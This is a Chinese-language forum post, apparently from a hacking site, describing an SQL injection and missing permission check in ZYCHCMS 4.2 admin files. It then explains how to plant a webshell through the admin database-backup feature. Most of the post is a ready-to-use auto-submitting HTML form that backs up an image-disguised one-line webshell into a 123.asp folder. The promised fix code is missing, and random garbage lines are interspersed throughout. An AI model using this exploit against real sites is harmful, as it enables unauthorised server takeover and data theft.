ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

& V" I- G9 d5 q5 h; `* m
8 F; t& c9 ^/ {- g* J2 L
9 S3 _) Q1 h& j+ C3 p影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
0 n4 S. D* W' d2 z% Z 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
漏洞代码：
* J/ j7 Z) L/ h5 @0 i3 L/ B 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
" y2 K5 p4 ^! a1 _' N5 s& V
2 p6 Z$ Z3 @- W2 l6 Q
②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
7 _& L, c! J0 n6 W 这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码
, e) d8 D$ O+ j  ]6 w; V# K

<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
0 m5 m* D$ @. {1 O: o <tr>
. x! F" J2 `5 L( }. w/ d+ ]7 R4 u <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
1 ?$ z) N) m) J# I; ~; e </tr>
<tr>
0 j2 d' u, ^: j8 F <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
5 K( G: H6 s2 D5 R9 g0 q: | <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
4 j! ], j: }$ n7 ~  n <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
3 E' K$ Z. M0 s: @' @; D </div></td>
</tr>
2 B- J" `; k/ ^; k' u' ?9 L3 k <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
1 ^. m* q) \2 Z% B7 \6 ~ <td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
) B+ V6 }: t( {- O/ i! s" D </tr>
# k* A, m. o, `5 v; B& E <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
% F- {, D5 o! H7 X' d4 ^ <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
0 O  A1 X. r+ F7 G/ _- A+ n& M <input type=”submit” value=”确定备份” class=”btn”
( C/ y" ]7 F: U4 i" ?2 ~ </div></td>
</tr>
: T' G) E' Q$ N% w </table></td></tr></form>
</table>
</td>
</tr>
</table>
* Q7 [/ ]7 B! ~# q <script>
document.all.add.submit();
( Q2 \5 `3 Z. v9 R </script>
$ M: m/ f; s1 V% l; @1 y  b; @- Q7 V



* c, {; x3 e0 Z1 f7 V, V

7 a9 s( b3 n( P# T0 c. k0 a
: m, {# c9 q% X1 o


1 k0 u/ B6 E/ ^- E8 G; A. b! L" c3 l